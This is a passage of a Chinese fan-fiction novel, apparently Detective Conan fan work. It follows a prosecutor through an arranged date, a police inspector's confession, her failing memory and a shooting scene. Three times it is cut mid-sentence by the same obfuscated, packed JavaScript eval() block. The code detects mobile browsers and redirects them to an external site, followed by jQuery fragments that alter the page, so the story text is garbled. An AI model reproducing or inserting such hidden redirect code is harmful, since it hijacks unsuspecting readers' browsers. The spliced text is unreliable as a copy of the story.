“对啊,就这么一次,我听到他被同行的朋友这么叫的,那时候他们应该还是警察学校的学生。” “好的,麻烦你继续帮我调查一下。” 北原浅落拿过剪刀,抽出花修剪枝叶,和父亲闲聊日常。 “嗯,您说。” “哈?相亲?” “不、不,我不是这个意思。”北原浅落咬了咬下唇,手指在花瓣上轻轻摩挲,“好,我会去的。” 她起身拿过桌上的两个花瓶,将花分别插入瓶子,不时调整花的位置:“嗯,我明白,我不会勉强自己的,你放心吧。” 挂了电话,北原浅落舒了口气,继续插花。 相亲就相亲吧,就当去认识一下,万一确实能遇见一个让自己一眼惊艳的人呢? 下一秒,北原浅落就否定了这个可能,这么多年,自己什么能人没见过,还是不要对对方太过期待了。 北原浅落将其中一个花瓶转了个圈,高低错落有致,颜色交相呼应,待会拿下去送给诸伏高明吧,就当蹭饭的谢礼了。 说起来,诸伏高明这个年纪还没结婚,他相过亲吗? * 重新回到检察厅忙碌的工作,北原浅落如鱼得水,果然自己还是适合这种忙碌却有序的生活。不过她同时也庆幸,还好受伤的不是脑子,关于经手案件的一切细节和材料,时隔多日她都记得清清楚楚。 “小野小姐,下周四开庭的家暴案件,你待会去警察本部和负责的中岛警官再对一下案件细节和证物材料。” “对了,之前高木先生的交通事故,把检察厅的意见可以反馈给警方了,不予起诉。” 北原浅落翻动着桌上的资料,一份一份分类放好。 手机亮起,是一条简讯。 看清了内容,她神情一变,显出与此事的工作不太相符的神态。 怎么日子来得这么快? 第二天,北原浅落刚到办公室,就引起了一阵不小的骚动。 “北原检事,今天这么精心打扮,是有约会吗?”小野茜笑着问道。 “是,算是吧,”北原浅落虽然难为情,却也大方承认,“下班后要去相亲。” “相亲?” “是,我爸安排的,就去认识一下吧。”北原浅落坐下随手翻着资料,突然想起什么,抬眼道,“小野桑,你有相过亲吗?有什么经验可以传授一下吗?” “倒是相过几个啦,”小野茜摸了摸鼻尖,“这也不好说什么经验,就是你要相信自己的直觉,然后不要放低自己的标准。” “是的是的,”一旁的另一位检察官听到了连声附和,“然后和对方聊天时,要把话题延伸开来,不能局限于他说的那些,要聊一些他准备不到的,这样你才能真的了解他是什么样的人,北原检事,有些男性很能表演的,小心点。” “谢谢,我会的。” 下午,北原浅落就案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16079006|179354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件报告中的几点内容前往警察本部寻找负责的警官。对方是位比她大两岁的女警,也许是沾了上原由衣的光,和她的沟通协作一直很顺畅。 “那就这样,待会请中岛警部补重新把证人证词发我一份。”北原浅落将材料放回包,拎着包起身。 “好,我弄好就发你。”中岛纪子打开会议室的门,将话题从公事上移开,面上露出狡黠的笑,“北原检事今天,很漂亮呢。” “谢谢,因为今天晚上有约。” “这样,我明白了。”中岛纪子带上门,和北原浅落一起穿过走廊来到办公区,“真遗憾,上原他们去开会还没有回来。” 话音刚落,上原由衣的声音就传了过来。 “北原!” 上原由衣三步并两步走到北原浅落面前,上下打量:“啊,小茜早上和我说你今天打扮得很漂亮,我还不信,和她说你本来就很漂亮。” 中岛纪子跟着笑了,见到后面跟上的大和敢助和诸伏高明,连忙从手里的取出不久前打印好的报告递给诸伏高明:“诸伏警部,这是之前的案件报告,请您签字。” “好。”诸伏高明控制自己眼神不往女孩身上瞟,接过报告,取出夹在笔记本里的水笔,弯腰就要在旁边的桌上签字。 “小茜说你下班要去相亲,是真的吗?” “是真的,家里——” 啪嗒—— 是笔掉落的声音。 北原浅落循着声音看向诸伏高明。 “抱歉。”诸伏高明捡起掉落的水笔,连上戛然而止的笔画。 这是?! 北原浅落瞳孔放大,心跳骤然漏了两拍。 “原来你真的要去相亲啊,是谁啊?父母介绍的吗?” 诸伏高明签完字,将报告递还给中岛纪子:“好了,中岛桑。” “谢谢,那我先回去了。” “北原?” 北原浅落迟迟没有回答,只是望着虚空发呆,与十几秒前判若两人。 “北原,你怎么了?”上原由衣奇怪,拍了拍北原浅落。 “啊抱歉,”北原浅落涣散的眼神收拢了几分,却仍掩不住失神的模样,“上原,不好意思,我想起来检察厅那还有工作,我先回去了。” 不等上原由衣回应,北原浅落匆匆离去,不敢回头。 大和敢助拐杖敲了下地板,夺回另外两人的注意力。他看向诸伏高明,眼神中别有意味:“所以,她真的要去相亲。” “我知道。” 诸伏高明转身走向自己座位,面色比以往都要冷峻几分, * 下班时分,检察厅对面的咖啡店。 诸伏高明看到一辆东京牌照的宝马停在检察厅门口,一个男人下车从车后座捧出一束花,递给站在门口等人的北原浅落。 从两人的动作和神态判断,他们之前就认识。 这个结论让诸伏高明的眉头皱得更紧。 哐当—— 一串车钥匙被扔到桌上,诸伏高明抬头看向来人,大和敢助冲他挑了挑眉,看向检察厅门口即将上车的两人。 “这车是三浦的,她没见过。” “多谢。” 12. 第 12 章 “北原桑,北原桑?” 长野市中心的高档西餐厅内,灯影绰绰。配合着慵懒的蓝调音乐,水晶吊灯投的下细碎光斑,如同被打散的星屑,洒在米白色亚麻桌布上,也洒在这位明显神游天外的与会者身上。 面前的女孩没有任何反应,只是有一下没一下地戳着面前的冰激凌。 不得已,神谷康平换上工作时候的称呼和语气:“北原浅落检事!” “是!” 北原浅落一激灵,下意识回答,这才发现对方正盯着自己,面带无奈。 神谷康平向侍者伸手示意,随后征求北原浅落的意见:“不喜欢的话,把冰激凌换成提拉米苏?” “不用不用!”北原浅落连忙摇头,示意侍者不必更换。 “我没有不喜欢,只是已经吃饱了,抱歉让你误会了,神谷裁判官。”北原浅落放下勺子,向坐在对面的人道歉。 神谷康平扶了扶眼镜,细碎的灯光从镜片上掠过,半透的阴影掩住眼底的情绪,最终,他选择采纳对方漏洞百出的说辞:“好,那我们接下来去看电影?现在过去时间刚好。” 北原浅落眉头稍蹙,右手手指无意识摸索着丝绒椅上柔软的表面,烦乱的思绪在这情与爱的英文乐曲中更加纠缠不清,如同地面上的影子,在水晶灯的无数次折射之下,一道叠着一道。 “抱歉,神谷裁判官,我想回家了。” 对于这个答案,神谷康平并不意外,但不能抑制心底的失落,绅士如他,面上仍是温和的表情:“好,没事的北原桑,这不需要道歉,不过,你的确应该为另一件事道歉。” 不出他所料,女孩一直低垂的双眸终于将视线投向他。 “刚见面的时候不是说了吗?现在不是在法庭,对我的称呼不用这么拘谨。” “不好意思神谷君,我忘了。” 话音刚落,北原浅落就看到神谷康平不可思议的眼神,下一秒,反应过来自己刚刚说了什么,她也愣住了。 神谷康平没想到北原浅落会说出这话,他知道她今天晚上心不在焉,可“忘”这个字,万万不该从她口中说出来。 片刻的沉寂后,神谷康平起身打破沉默:“没事,我去买单,然后送你回去。” 夜幕下,商场附近的人行道上熙熙攘攘,热闹非凡。 北原浅落从半开的车窗向外看,心里是说不出的滋味。 “是工作太忙累着了吗?我听伯父说,你前段时间受伤了,是不是身体还没恢复?” 北原浅落摇头,收回视线,按下按钮将窗户升起。 “不是,是我的问题。”北原浅落一顿,郑重道歉,“对不起神谷君,今天晚上我不在状态。” “能问问原因吗?不会是因为我吧?”神谷康平开玩笑道,但方向盘上泛白的指关节表明他并没有看上去那么冷静。 “不是不是,神谷君放心,不是因为你。”北原浅落连忙否认。 在见到神谷康平的那一刻,她确实非常意外,谁能想到自己的相亲对象居然是在东京法庭上经常见到的法官,难怪她爸遮遮掩掩,一直不肯说对方是谁。 如果是陌生人,她这么捯饬自己是为了显得郑重得体,是一种礼貌,是认识的人,特别是说熟不熟,说陌生也不陌生的人,见面了不免尴尬。 但是,在下午的冲击面前,这点尴尬就是小巫见大巫了。 “我只是,”北原浅落努力寻找合适的词,“我只是突然知道了一件追寻已久的事情。” “是案子吗?” “算是吧。” 是独属于她的案子。 车子驶入小区,在楼前停下,北原浅落向神谷康平道别,却在下车的那刻被叫住。 “怎么了神谷君?” 神谷康平神情显得不自在,与她之前在法庭上见到的截然不同。 “那个,我们今天是相亲,你觉得我怎么样?愿不愿意和我继续接触呢?” 听到一半,北原浅落就明白了对方的意图,将视线从对方脸上挪开。 现在的她,无法承受那么赤诚灼热的眼神,和爱慕。 “北原桑,我大学的时候就知道你了,大四刚开学不久,部里就在疯传大一新生中有一位过目不忘的天才,但是你好像对学习之外的一切没兴趣,从不参加社团活动什么的,就一直没机会认识你。” “后来,我在检方的名单上看到了你的名字,在法庭上看到了你,我想,这下我们能认识了,但是,你每次也只是在法院见到我之后对我点头微笑,顶多再问句好。所以,我知道这次来长野公干的同时要和你相亲后,我真的很高兴。” “我知道我可能有些唐突,你不要有压力,我只是想让你明白我的心意,让你知道我是认真的。” 即使有心理准备,她在听到这段表白的时候还是不可避免心跳加速,对方这么郑重,她不能简单拒绝。 “神谷君,”北原浅落深深吸了口气,“我很感谢你的坦诚,也很感激你对我的心意,但是、但是,现在的我并不处于一个能让我坦然进入一段恋情的状态,我不能以现在这种状态答应你,当、当然,请你不要误会,这并不针对你,这完全是我的问题,不管今天的相亲对象是谁,我都不会答应的。” 几秒沉默。 正当北原浅落犹豫是否要打破僵局时,神谷康平开口:“我明白了,也谢谢你的坦诚。” “但是,这也不是拒绝的意思吧?我会等你把状态调整好的。” “神谷君……” “北原桑,我在东京等你,希望下次在东京见面的时候,你能给我一个机会。” “可、可是……” “北原桑,”神谷康平打断北原浅落未竟的话,“既然你说现在你的状态不适合开展一段恋情,那么,基于你今晚的表现,我也有理由认为你现在的状态无法为我们之间的相亲是否继续开展作出一个理性的判断。” 神谷康平很清楚,如果北原浅落一开始就不愿相亲,她根本不会过来,更不会这么打扮,至少在一开始,她想好好对待这场相亲。 那就够了。 “所以,先不要急着拒绝我好吗?就像我之前说的,我等你回东京,到时候,是继续还是就此打住,我都接受。” 沉吟半晌,北原浅落垂眸:“好。” “别忘了花。” 神谷康平的车开远,汽车的引擎声渐渐隐去,楼下重归寂静。晚风挟着花束的幽香穿过街道,留下几分凉意,北原浅落木讷地在楼下站了许久,不知从哪听到一声猫叫,才回过神转身走向楼内。 刚进门拐入电梯间,北原浅落就看到站在电梯前等候的诸伏高明。 下意识地,她往后退了半步,后知后觉这多么不礼貌,只能偏头借花挡住半边脸。好不容易缓和的心跳再度加速,以至于她都没有觉察到诸伏高明此时此刻出现在此地是多么不对劲——她在外面站了许久,期间没有人进来。 “刚回来吗?” 诸伏高明平常般的问话打破了此刻的微妙。 “嗯,我刚到。”北原浅落慢吞吞走近电梯,走近诸伏高明。 电梯门打开。 诸伏高明先进入电梯,替她按下楼层。 “怎么闷闷不乐的,是晚上的相亲不愉快吗?” 在餐厅的时候,诸伏高明就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16079007|179354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看出来了,北原浅落的心思根本不在这上面,他该窃喜的,可是,她过于反常了,和下午在本部的状态简直判若两人,就算不喜欢对方也不该是这种表现。 不喜欢……真的不喜欢吗? 刚才,她在对方的车上坐了许久才下来。 诸伏高明不禁对自己的判断产生了怀疑。 “没有,挺愉快的,神谷君是东京地方法院的一名法官,我之前在东京的时候和他有工作上的往来。” “这样……” 自始至终,北原浅落都不敢看诸伏高明一眼,从拐弯后看到他的一刹那,她脑中就不受控制无限闪回下午他签字的情形。 一笔一划,虽然有些微的差别,但一撇一捺的笔锋,那收笔时的停顿,和那些纸上的一模一样。 每一个字都在她脑中来回反复出现,自从记事以来,她没有一刻像现在这样这么确信又这么怀疑自己的记忆。 电梯门缓缓打开,她到了。 她该走了。 在将要迈出电梯的时刻,她停下脚步,转身,抬眼看向诸伏高明,有那么一瞬,她竟然觉得他在期待她说些什么。 于是,鬼使神差地,她说了。 “诸伏警部,你……” 突然亮起的声控灯唤醒了几分理智。 “你,能陪我散个步吗?” “好,我等你。” 北原浅落把花放在门口,重新进入电梯,再次感受电梯的失重。 几乎是把花放下的瞬间,她就后悔了。 尽管差点脱口而出的话语不理智,后面的这句同样不合时宜。 小区的路灯下,两人的影子被拉长。 “既然没有不愉快,怎么这副样子?”诸伏高明小心试探着。 “很明显吗?” “对,和平时的北原检事很不一样,就像今天晚上的月亮。”诸伏高明停下脚步,抬头看向天边弯弯的月亮,此时的月光因周围的云层遮蔽,添了阴霾。 北原浅落跟着抬头,见到同样的光景。 月亮,他知不知道,他曾经是她的月亮,原来她对他天然的信任、天然的好感,冥冥之中都有迹可循。 再一次,那股汹涌的潮水占了上风。 “诸伏警部,你还记得……” 见女孩迟迟没有下文,诸伏高明忍不住问:“记得什么?” 北原浅落踌躇几秒,终究放弃直接询问。 “你还记得过去的事吗?” “过去的事?” 北原浅落的问话没头没尾,诸伏高明一时不知怎么回答。 “对,过去的事,就像你那天在善光寺想起的那样,过去的事。” “说实话,过去的事,我很多记不太清了,”黑夜中,诸伏高明的声音如同一条涓涓细流,不紧不慢,缓缓向前,“我不像北原检事有这么好的记忆力,很多事,在不知不觉间就淡忘了,在这一点上,我很羡慕你。” 在他的记忆中,连父母的模样都已经模糊,景光也只留下一个轮廓和朦胧的眉眼。 “这样啊……” 北原浅落把脸别向一边,藏于阴影。 是啊,只有她才会把一切都事无巨细牢牢记住,只有她才会对过去的人和事念念不忘。 过目不忘的超绝记忆力是一项人人梦寐以求的天赋不假,可当记住一切的只有她时,她就像一个孤独的旅人,独自行走于世间。 或者,她是所有闯入她生命中的人的见证者,可是,谁来见证她呢? 这是馈赠,还是枷锁? 她突然感到一种彻骨的寒意。 “那,你也会忘了我吗?” 13. 第 13 章 如果说之前的问题没头没脑,那么,这个问题更加不可捉摸。 什么叫他会忘了她吗? 他不会的。 “或许不会忘了我的名字。” 在他回应之前,北原浅落再次开口。 “但是,等我之后回了东京,我的样子,我们一起经历的事,包括现在这场散步,诸伏警部都会慢慢淡忘的吧?” 他会吗? 诸伏高明沉默。 他不得不承认,她说的对。 时间的磨损不会以他的意志而转移。 她的眉眼,她的一颦一笑,她的声音,她身边萦绕的淡淡清香,他们现在经历的一切,即使他再想铭记,都会随着时间在他记忆中一点一点褪色。 就像他父母那样,也像景光那样。 似乎除了她,没人能抵御时间的磨损。 只有她的记忆能一直鲜妍如新。 他是会忘了她。 意识到自己失言,北原浅落连忙补救,重新迈开脚步往前走,抬手拢了拢耳边的头发,借以掩饰自己内心的不平静。 “对不起啊诸伏警部,神神叨叨说了这些有的没的,你当没听见就好。” 路灯晕开的昏黄光斑投在女孩的侧脸上,平日里柔和的线条在阴影的遮蔽之下显得凌厉坚硬,即使她努力嘴角上扬,努力用轻松的语气,那双失神闪烁的眼睛在此刻出卖了她。 那双眼睛告诉他,她现在很难过。 是因为在未来的某时某刻,他会忘了她吗? 他不会忘了她的。 “北原。” 刚走出几步的北原浅落愣在原地。 他刚刚叫自己什么? 她转头,看着他一步一步走近,看着他在自己面前停下。 “如果我请求你留下,你愿意留在长野吗?” 晚风迎面而来,吹动她的头发,也吹动他的。 第一次,她看到他那总是打理得齐整的头发变得凌乱。 如果在平时,她说不定会出声打趣,可惜是现在。 他说什么? 他请求她留下? 这是什么意思? 北原浅落努力不去探究这话和之前那个称呼背后的暧昧,可对方不给她躲避的机会。 “对,是你想的那样。” 昏暗的路灯下,诸伏高明的双眸如黑曜石般深邃闪耀。 “你愿意给我一个机会吗?给我一个永远无法忘记你的可能。” 清冷的夜风再度袭来,可她却脸上却传来流动的温热。 一直蓄着、一直克制着的情感与眼泪终究是喷薄而出。 可他不懂。 女孩泪水像水晶珠子般一颗一颗往下掉,诸伏高明慌忙取出随身的手帕要去擦,却被对方避开。 北原浅落扭头用自己的衣袖擦去泪水,命运为什么要在这个时候给她出接连意想不到的难题呢? 明明才决定彻底放下对过往的执念,为什么过往转瞬之间又堂而皇之出现在眼前,更遑论这过往似乎只是她一个人的过往。 “诸伏警部,你喜欢我?”北原浅落努力用平静的语气问出。 “是的,事实证明,喜欢一个人确实是无法掩饰和逃避的。经过这段时间的共事与相处,我确认,你在我心中占据的位置,已经超越了同事和朋友的界限。” 诸伏高明再度伸手,再度被对方避开。 这是答案吗? 可女孩的泪水没有止住的迹象,她为什么要哭呢? “抱歉,诸伏警部,我不能答应你。” “抱歉。”女孩再度道歉,用手背抹着眼泪,“就像情感是司法决策中认知错误的根源那样,我不能让过去的情感影响现在的认知,这对我们都不好。” “在我厘清之前,我不能答应你。” “过去的情感?”诸伏高明一愣,一时不知作何反应。 北原浅落吸了吸鼻子,稍稍仰起头,抑制泪水流出:“很晚了,诸伏警部,我先回去了,再见。” 不等诸伏高明回应,北原浅落转身匆匆离去,短促的脚步声在静谧的夜里回响,每一步都踩在她繁乱的心绪和紧绷的神经上。 诸伏高明立在原地,久久没有动作。 因她的出现而短暂填满的心再度空虚,他被拒绝了。 他在意想不到的时机表明了心意,而后,在意想不到的情境下被一种意想不到的方式拒绝了。 或许他不该现在表白,可是,他冥冥之中有种感觉,他要是不在今天晚上说出来,他会彻底失去她。 * “北原检事,你还记得之前我们参考的诈骗案的案卷编码是什么吗?我这里好像记错了,系统里出不来。”小野茜看着始终显示为空的搜索栏,迫不得已寻求身边这位人形储存器的帮助。 “之前?” “对,就是你刚来没多久,我们调取的那件案子,受害人大多是老人的那起。” “啊是那起啊,”北原浅落从记忆的茫茫大海中捞起那条鱼,“它的编号是——” 话到嘴边,北原浅落脑海中的鱼却摇尾一摆脱钩了。 小野茜的手已搭在数字键盘上方,见北原浅落突然停下,转头问道:“是多少呀?” 北原浅落努力回想,缓缓报出:“是长野地检,刑,第1325号。” “好。” 小野茜迅速输入编号,果不其然,页面显示出预想中的结果。 “不愧是北原检事啊,真厉害!” 北原浅落笑笑,视线重新落回手上的资料,神情变得严肃。 最近这种情况出现的次数越来越多了。 “北原检事,”三枝凛拿着刚收到的文件从外面走进办公司,“之前部长来的时候你不在,明天上午九点半我们要去警察本部和警方开个会,把近期相关的工作内容一起总结一下。” “好。” “部长说了,”三枝凛眨了眨眼,俯身压低了声音,“你之前检查出来查错了的案子要重点讲讲。” “啊?好的。”北原浅落应下,看来明天自己的发言是少不了了,医院那边,那就约今天下午的号吧。 “对了小野桑,”北原浅落转动椅子面向小野茜,“今天下午你帮我去警察本部和三浦警官还有中岛警官确认一下手上这起诈骗案的警方证人名单,然后和这些证人复核一下证言要点。” “好,我一个人吗?北原检事你不去?”小野茜问道,这种事通常是北原浅落和她一起去,她主要负责旁听和记录。 “这次就不去了,我下午要去医院一趟,小野桑,相信自己,你可以的。总要迈出这一步的,不是吗?” 北原浅落冲她一笑,仿佛看到了初次独立检察案件的自己,但是,和小野茜不同的是,在工作上,自己一向很自信。 或许说的准确点,是有恃无恐。 但是现在,她所凭借的记忆力似乎出了些问题。 “好,我一定会好好完成任务的!” “嗯,不要太有压力,有什么问题随时和我联系,明天反正我要过去一趟。” “嗯嗯!”小野茜安心了许多,虽然她比北原浅落虚长一岁,但并没有她那么出色的成绩和能力,毕业三年后才通过法考,一步一步走到现在。 忽然意识到刚刚北原浅落说要去医院,小野茜问道:“北原检事是身体不舒服吗?” “没有,”北原浅落摇头,“是去医院复查。” 是复查不假。 北原浅落结束检查,下楼来到医院大厅,在楼层导览前驻足,盯着上面的“脑神经科”。 几分钟后,她转身向电梯走去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16079008|179354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“从脑部CT和核磁共振来看,你很健康,大脑没有任何异常。”头发灰白的年长医生将手中的片子放下,给出自己的结论。 “但是,之前明明可以马上回忆起来的事情现在需要很久才能记起来,我的反应在变慢。” 在陌生的医生面前,北原浅落第一次袒露最近的异常,心里止不住担忧。 “而且,我的记忆能力在变差,我估算过了,现在的我要记下一份文件内容的话,平均下来每一页要多花2分钟,还不能保证记忆的准确度。” “这样……”医生扶了扶眼镜,再度低头查看片子。 十几秒后,医生再次确认她的脑部没有任何问题。 “北原小姐,你的这项天赋很特殊,很多时候,一些惊人的天赋技能在孩童中较为常见,但是随着年岁渐长,大多都会消失。” “您的意思是……”北原浅落顿时明白医生的言下之意。 “对,能保持到你现在这个年纪,已经很罕见了,或许北原小姐要适应一下我们普通人的记忆了。” 普通人的记忆吗? 北原浅落不觉捏紧了手上的包,垂头回想昨天医生的话。 不知不觉间,眼帘里似乎闯入什么庞然大物的阴影。 在她要撞到人之前,手腕上传来一道力,将她往旁边拉。 “小心。” 是他。 北原浅落抬头,望向多日未见的男人。 他的丹凤眼眼尾微微上挑,一向沉静如冰河的眼中透出几分融化的意味,那柔情是为她流动的。 她低头看向他握住自己手腕的手,修长白净,骨节分明。 她不自在地动了动,几乎下一秒,对方就心照不宣地拿开手。 “昨天听小野桑说,你去复查了,怎么样?医生怎么说?” 诸伏高明自然地走到北原浅落旁边,和她一起向会议室走去。 既然目的地是同一个,她只得跟着一起走。 “医生说恢复得很好,以后不用去了。” “好。”诸伏高明心中吊起的石头中的一块落了地,“你待会有空吗?开完会一起吃个饭?上原说好久没见到你了。” 顿了顿,诸伏高明补充道:“我也是。” “我有话想对你说。” 离会议室门口三米处,北原浅落的脚步戛然而止。 “抱歉啊诸伏警部,最近检察厅工作有点忙,今天中午不能和你们吃饭了。”北原浅落不着痕迹拉开了些距离,“会议要开始了,我先进去了。” 短促的脚步声掩不住内心的慌乱无措,北原浅落来到划定的区域落座。 诸伏高明不着痕迹收起眼底的失落,慢步进入会议室在大和敢助身旁坐下。 “怎么样?她来吗?” 诸伏高明转头看向低头假装看资料的北原浅落,轻轻叹气:“她在躲我。” “不应该啊……”大和敢助表示无法理解,“那位检事小姐看起来不像是遇事逃避的性子,我以为就算没看上你也还能做朋友的,怎么会这样?” “对,我也觉得奇怪,”诸伏高明望着北原浅落沉思,“过去的情感……影响现在的判断?” 这到底是什么意思?她曾经有过喜欢的人吗? 北原浅落盯着资料上的字,可那道温和却存在感极强的视线让她无法静下心阅读,那些字就如蚂蚁般在她眼前爬来爬去。 忽地,她脑海中浮现那天医生最后说的话。 “不过,北原小姐,按道理来说,既然你成年后这么久这项天赋还没有丝毫减弱的迹象,那么也不太可能在近期脑部没有受伤的情况下出现问题。” “所以,还有另外一种可能。” “这不是生理问题,而是由心理问题引发的症状。” “你最近有遇见什么事吗?” 14. 第 14 章 雨夜,雷声隆隆。 一栋居民楼内,一个男人手脚被绑起,面朝外跪在地上,看起来似乎是昏迷了。 他渐渐醒来,见到屋内的人影正要呼喊,就被一块毛巾塞住了嘴巴。 而后,人影俯身在他耳边说了什么,惊恐瞬间笼罩男人的面庞,在闪电的照射下更显恐怖。 人影取出手枪,利落上膛,对上男人的太阳穴,而后看向落地窗外,似乎是在等什么。 没过几秒,伴随着下一声雷鸣,男人以一种诡异的姿势趴倒在地,鲜血在地上蔓延。 * 轰隆—— 北原浅落手一抖,虚虚别着的书页随动作翻了几页。 哎呀怎么又走神了,刚刚随机翻到第几页来着。 对,104页。 北原浅落目光紧紧盯着页码,不敢多看文字一眼,看到104的页码后立刻闭眼。 “好,104页开头第一句话是……” “他走到窗边,向下看,不对不对,他走到窗边,向外的目光奇异地发现了一具尸体?” 北原浅落睁眼,目光顺着书页上移,上面赫然写着“他走到窗边,一种不知何处来的奇异感觉让他向外看,他发现了一具尸体。” “可恶……” 北原浅落长叹一口气,将书合上丢到床的另一边,而后翻身躺下趴在床上。 这样下去,用不了多久她真的就会只有普通人的记忆力了,忽地,她脑中闪过一个念头,不会到时候她连普通人的记忆力都无法保持吧?自己年纪轻轻就要罹患阿尔茨海默病吗? 不行,绝对不行。 “这不是生理问题,而是由心理问题引发的症状。” 下定决心般,北原浅落拿过枕头边的手机打开医院的预约程序,找到心理科,浏览着各位心理咨询师的详细介绍。 手中的手机忽然振动,是部长的电话。 “北原桑,警方那边的消息,青叶苑发生了枪击案,你现在方便吗?代表检方去现场一趟。” “枪击?”北原浅落连忙下床踩上拖鞋,“嗯,好的,我马上过去。” 匆匆换下睡衣,北原浅落绑起头发,拿过证件走到玄关换鞋。 正要拿车钥匙,猛然想起今天下班刚把车送去保养检修。 真是挑了个好时候。 北原浅落一把带上门,打开打车软件叫车。 她到的时候,案发地点的楼层已经被封锁。 “长野地检,北原浅落。” 北原浅落拿出证件,顺手戴上手套,入口值守的警察确认后拉开一道口子放她进去。 “现场没有打斗痕迹,恐怕死者死前服了安眠药之类的药物。” 刚进入,诸伏高明的话就传入耳中。 “是的,而且门窗完好,看来是熟人作案。”大和敢助检查完窗户后补充道,却发现好友没有回应,转头一看,发现了客厅入口站着的北原浅落。 “检事小姐来了啊,要先来这边一起看看吗?”大和敢助打招呼的同时瞄了沙发边的诸伏高明一眼。 “不用了,你们先调查,我去别的房间看看。” 北原浅落匆匆往右手边最近的房间拐,差点撞上中岛纪子,对方许是被差点撞上吓到了,脸色一变:“北原检事,你怎么来了?” “是,部长说是枪击案,检方得过来监督。”北原浅落往旁边退开一步,环视了房间一圈,这是书房,一位鉴识科的人正在四处检查。 “中岛警官,有什么发现吗?” “暂时没有,这里不是案发地点,恐怕不会有什么发现。”中岛纪子跟着挪了挪脚步。 “大和警部、诸伏警部,报案人询问完了!”上原由衣的声音从客厅传来。 北原浅落从书房离开,走回客厅。 “北原,你怎么来了?” “检方现场监督。”北原浅落冲她一笑,简要回答。 “对方怎么说?”诸伏高明问道。 “对方是对面楼栋的住户,正要拉窗帘睡觉,闪电正好照到这里,他看到死者姿势奇怪,躺在地上,还以为是突发急病,就连忙报警并叫了救护车。” “这样,周围邻居怎么说?有听到枪声吗?” “这是一层两户的户型,今天晚上雷雨天,旁边的邻居什么也没有听到。监控的话,三浦警部已经去小区监控中心调了。” “希望监控有结果吧,”大和敢助扫视了一圈,“这里太干净了,恐怕指纹方面也不会有收获。” “子弹找到了吗?”北原浅落走向标注的尸体位置,地上的血迹和脑浆仍在。 她还要上前,却被拉住手臂。 “那里已经检查过了,你不用过去。”诸伏高明说了今晚和她的第一句话,顿了顿,他放软了语气,“别再往前走了,那里不需要你记。” “是啊,没什么好看的,”大和敢助也走过两步挡住北原浅落的视线,“子弹找到了,已经送回本部检查了。” “我见过命案现场。”北原浅落隐隐有些不服,但面前的两位警部丝毫没有让步的迹象。 “北原,你就去别的地方看看吧,卧室、厨房、书房都可以。”上原由衣把北原浅落往回拉。 “好吧好吧。”北原浅落不再坚持,和上原由衣步入厨房。 “这是不是少了两个杯子?”北原浅落指了指杯架。 “是的,我们在茶几上发现了一个,应该是死者喝的,已经送回去化验了。” “那消失的另一个是凶手的。” “理论上是这样的,凶手离开的时候把它带走了。” “这个凶手,很谨慎。” 从厨房出来,两人在卧室门口遇见从中岛纪子。 上原由衣问道:“纪子,有什么发现吗?” “没有,”中岛纪子摇了摇头,“书房和卧室都没有什么有价值的发现。” 两位女警交流各自工作,北原浅落借机往卧室里环视了一圈,而后是卫生间,最后是书房。 书房她已经进去过了,这次她只在门口扫了眼。 正当她转身时,一种莫名的奇异感觉涌了上来。 她不确定,停下脚步,再度往书房里看。 一切正常,并没有任何奇特的摆设,是一间再普通不过的书房。 “怎么了?”诸伏高明发现北原浅落的异常,走近问道。 “没、没怎么,我只是觉得……”北原浅落皱眉,抬起右手揉了揉太阳穴。 诸伏高明的声音带了慌张:“身体不舒服?” “不、不是,”北原浅落连忙否认,“没什么,诸伏警部,你继续调查吧。” “真的没什么?”诸伏高明面带怀疑。 “真的没什么。”北原浅落摇头走开。 “北原检事,”诸伏高明叫住她,“如果你有什么发现,一定要和警方说,你的意见对我们来说很重要。” “是,”北原浅落脚步一顿,但没有回头,“我会的。” 现场搜查完毕已经是凌晨两点,北原浅落暗自打了个哈欠,看着楼下的警车陆续开走。 要不让上原由衣送自己一趟吧。 “你没开车?”诸伏高明的声音从身后传来。 “是,我的车刚送去检修。”北原浅落看向诸伏高明身后的上原由衣,“上原,能不能麻烦你送我一下?” “可以,那我们——” “上原,你还得送我呢。”大和敢助打断上原由衣的话,“高明,你和检事小姐不是住一栋楼吗?你比上原顺路。” “是,北原检事,我们一起吧。” 既然对方都这么说了,自己没有理由拒绝。 她确实和他住得太近了。 深夜的街道空旷寂静,雨后的泥土气息混着水汽从车窗缝隙中涌入。 她困了。 北原浅落强打起精神,试图通过聊天让自己清醒一些:“诸伏警部,对于这起 